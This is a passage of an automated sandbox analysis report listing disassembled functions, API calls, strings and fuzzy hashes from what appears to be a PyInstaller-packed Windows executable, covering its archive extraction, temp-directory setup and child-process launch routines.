Instruction Fuzzy Hash: B271E571A28E8285EB21EB14D5513BAAB90FF457A4F904035E98D47799EE3CF94C8B20

Function 00007FF7102C15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7102C1775
fseek, xrefs: 00007FF7102C1695
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C1785
fwrite, xrefs: 00007FF7102C177C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C165B
Failed to extract %s: failed to open target file!, xrefs: 00007FF7102C1617
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7102C16EF
Failed to create symbolic link %s!, xrefs: 00007FF7102C15E2
malloc, xrefs: 00007FF7102C16F6
fopen, xrefs: 00007FF7102C161E
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C168E
fread, xrefs: 00007FF7102C178C

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: 1a81640d21f4a00f99a39b8f134718eb96faec9be1b4c5e9a219255c90d4bfe9
Instruction ID: 8475aaa157a9a7f543b3be7bb71394dce2c0d197e34b86e77540a7cc02f339be
Opcode Fuzzy Hash: 1a81640d21f4a00f99a39b8f134718eb96faec9be1b4c5e9a219255c90d4bfe9
Instruction Fuzzy Hash: 0351AE61B18E4392EA11BB11AA515BAEB60BF467B4FD44131EE0D07B96EF3CF54C8720

Function 00007FF7102C7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C800A
GetStartupInfoW.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C802B

Part of subcall function 00007FF7102D978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D97A0

Part of subcall function 00007FF7102D7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D7A93

GetCommandLineW.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C80CD
CreateProcessW.KERNELBASE ref: 00007FF7102C810F
WaitForSingleObject.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C8123
GetExitCodeProcess.KERNELBASE ref: 00007FF7102C8133

Strings

Failed to create child process!, xrefs: 00007FF7102C813F
CreateProcessW, xrefs: 00007FF7102C8146

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: 68137be278342e9e0bad040a3162552071a6033893bc3ec9c774368a11d067aa
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: DA412032A18B8281EA21AB24F4552AAF7A1FB85370F904335E6AD477D5DF7CE4488B10

Function 00007FF7102C11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7102C13EE
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7102C1295
1.3.1, xrefs: 00007FF7102C1229
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7102C1256
malloc, xrefs: 00007FF7102C129C, 00007FF7102C12CA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7102C12C3

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 4edf75dc8b51e423b9695cf624432c5f54ad6178f805759dee0951bd1d48095d
Instruction ID: 81832dde202d38e4d4f7da31bc0e9f683556378acd50989647e193954972ffb4
Opcode Fuzzy Hash: 4edf75dc8b51e423b9695cf624432c5f54ad6178f805759dee0951bd1d48095d
Instruction Fuzzy Hash: 9351F622A18E8281EA64BB11A5413BAEA51FF867A4FD40135ED4D47BD5EF3CF449C720

Function 00007FF7102DE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7102DE3BA,?,?,-00000018,00007FF7102DA063,?,?,?,00007FF7102D9F5A,?,?,?,00007FF7102D524E), ref: 00007FF7102DE19C
GetProcAddress.KERNEL32(?,?,?,00007FF7102DE3BA,?,?,-00000018,00007FF7102DA063,?,?,?,00007FF7102D9F5A,?,?,?,00007FF7102D524E), ref: 00007FF7102DE1A8

Strings

ext-ms-, xrefs: 00007FF7102DE0F9
api-ms-, xrefs: 00007FF7102DE0E6

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: 31a7087208fb00d03ff0818f0388ba8a4a6613ce3abad4646cabbebef260a9a0
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: E141B222B19E0292FE16BB16A940676AA92BF45BB0FC94135DD1D57784EE3CFC0D8360

Function 00007FF7102C7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C7CE4
CreateDirectoryW.KERNELBASE(?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C7D2C

Part of subcall function 00007FF7102C7E10: GetEnvironmentVariableW.KERNEL32(00007FF7102C365F), ref: 00007FF7102C7E47
Part of subcall function 00007FF7102C7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7102C7E69

Part of subcall function 00007FF7102D7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D7561

Part of subcall function 00007FF7102C26C0: MessageBoxW.USER32 ref: 00007FF7102C2736

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7102C7D5E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7102C7CBC
TMP, xrefs: 00007FF7102C7CA2
_MEI%d, xrefs: 00007FF7102C7CF2
TMP, xrefs: 00007FF7102C7C7C, 00007FF7102C7D83

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction ID: 72cade6ba44692d7d0f2e993341f85e6715edf429befd0392613975a37fa264d
Opcode Fuzzy Hash: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction Fuzzy Hash: 8041AF12A29E4341EA20BB25AA552F9DA55BF45BB0FC04031EE0E57796EE3CF90C8720

Function 00007FF7102DAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DB199

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction ID: c45be9521118ba2c1801180bd2584de96bd1d1b0d13ee4ad47e8844ab2311a14
Opcode Fuzzy Hash: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction Fuzzy Hash: E4C1D323A0CE8791EA62AB1494606BEBF51FB90BA0FD54135EA5D03791DE7DFC4D8320

Function 00007FF7102C7B50 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7102C7B70
OpenProcessToken.ADVAPI32 ref: 00007FF7102C7B83
GetTokenInformation.KERNELBASE ref: 00007FF7102C7BA8
GetLastError.KERNEL32 ref: 00007FF7102C7BB2
GetTokenInformation.KERNELBASE ref: 00007FF7102C7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7102C7C0E
CloseHandle.KERNEL32 ref: 00007FF7102C7C26

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction ID: 62abb6dec056d0bf7922310e62cf80b4909010ec0fda0fd966d5bb330f58853b
Opcode Fuzzy Hash: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction Fuzzy Hash: 31215121A0CE4342EB10AB55E94426AEBA1FF957B4F900635EA6D43BE4DF7CF5488720

Function 00007FF7102C33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7102C3534), ref: 00007FF7102C3411

Part of subcall function 00007FF7102C29E0: GetLastError.KERNEL32(?,?,?,00007FF7102C342E,?,00007FF7102C3534), ref: 00007FF7102C2A14
Part of subcall function 00007FF7102C29E0: FormatMessageW.KERNEL32(?,?,?,00007FF7102C342E), ref: 00007FF7102C2A7D
Part of subcall function 00007FF7102C29E0: MessageBoxW.USER32 ref: 00007FF7102C2ACF

Strings

\\?\, xrefs: 00007FF7102C3482
GetModuleFileNameW, xrefs: 00007FF7102C3422
Failed to resolve full path to executable %ls., xrefs: 00007FF7102C3461
Failed to convert executable path to UTF-8., xrefs: 00007FF7102C34B8
Failed to obtain executable path., xrefs: 00007FF7102C341B

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: d557c5c0d64bfbbfc7f67b05e50e1fbacd52890b3d961a2390a3753e35a45986
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: A121A121B28D4281FA35BB24E9003BA9A50BF483B4FC04136D65D867D6EE2CF60D8730

Function 00007FF7102C8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102C7B50: GetCurrentProcess.KERNEL32 ref: 00007FF7102C7B70
Part of subcall function 00007FF7102C7B50: OpenProcessToken.ADVAPI32 ref: 00007FF7102C7B83
Part of subcall function 00007FF7102C7B50: GetTokenInformation.KERNELBASE ref: 00007FF7102C7BA8
Part of subcall function 00007FF7102C7B50: GetLastError.KERNEL32 ref: 00007FF7102C7BB2
Part of subcall function 00007FF7102C7B50: GetTokenInformation.KERNELBASE ref: 00007FF7102C7BF2
Part of subcall function 00007FF7102C7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7102C7C0E
Part of subcall function 00007FF7102C7B50: CloseHandle.KERNEL32 ref: 00007FF7102C7C26

LocalFree.KERNEL32(?,00007FF7102C3814), ref: 00007FF7102C848C
LocalFree.KERNEL32(?,00007FF7102C3814), ref: 00007FF7102C8495

Strings

D:(A;;FA;;;%s), xrefs: 00007FF7102C8477
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7102C8462
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7102C84A3
S-1-3-4, xrefs: 00007FF7102C8441

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 66c7400c0f842d66862a6c7a5c7e226ffa5096460946b14aa4108adf3e2753a4
Instruction ID: c691b8a545713cfdc8bc3b1c3d3eb2e0949054d96e7363c580c61428885ced00
Opcode Fuzzy Hash: 66c7400c0f842d66862a6c7a5c7e226ffa5096460946b14aa4108adf3e2753a4
Instruction Fuzzy Hash: 25214121A18E4281F654BB10E5152EAAAA5FF847A0FC44035EA4D57796DF3CF84DC760

Function 00007FF7102DC270 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102DC25B), ref: 00007FF7102DC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102DC25B), ref: 00007FF7102DC417

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction ID: 6582c0e9de946f9534ec54c12df7264c8b9fbfe730ba3644157abcde8752bdc7
Opcode Fuzzy Hash: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction Fuzzy Hash: 2291C873F08A5685F750EF65945027DAFA0BB04BA8FA44139DE0E67B84DE38F8498720

Function 00007FF7102D4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D4965
CreateFileW.KERNELBASE ref: 00007FF7102D49A4
CloseHandle.KERNEL32 ref: 00007FF7102D49D9

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction ID: e649332815007ec6c8473e93cdf575f6007eedf6f01141f36c7b35628d47301a
Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction Fuzzy Hash: 9341A223D18B8243E754AB2195103B9AA60FB94774F509335EA9C03BD5DF7CF9E88720

Function 00007FF7102CBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102CC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7102CC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7102CBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF7102CBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7102CC041

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: ddf28a72de9e08fb83a90676d194e05ea0adb1fec1b32f0de273226ca97cdbf1
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: B9317E21E1CD4B81FA25B76596213B99B40AF413A4FE44038E90D477D3DE6CB80CC731

Function 00007FF7102D8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7102D8D44), ref: 00007FF7102D8D59
TerminateProcess.KERNEL32(?,?,?,00007FF7102D8D44), ref: 00007FF7102D8D64
ExitProcess.KERNEL32 ref: 00007FF7102D8D73

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: 933592f460c471b03e391884f24003053d4098c61c06d964145c7e957d0776d8
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: 44D06711B59E0A86EA553B705C5917A9A125FA8721B901438D84F1A3D3CD7CF80D4370

Function 00007FF7102CF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF597

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction ID: 3d7f9f0e754b73921c49b44adc4021bb839c1b63d88923694cb4a1e9c2762cd1
Opcode Fuzzy Hash: 9ca15b9002a87b72fd1966d073ee072d8ab2af6885046d3198ed673a4b76404c
Instruction Fuzzy Hash: 50511A62B19A4246F6B8BE259600A7AEA85BF44BB4F944735DE7C077D5CF3CF4088620

Function 00007FF7102DB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7102DB5DD), ref: 00007FF7102DB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF7102DB5DD), ref: 00007FF7102DB49A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
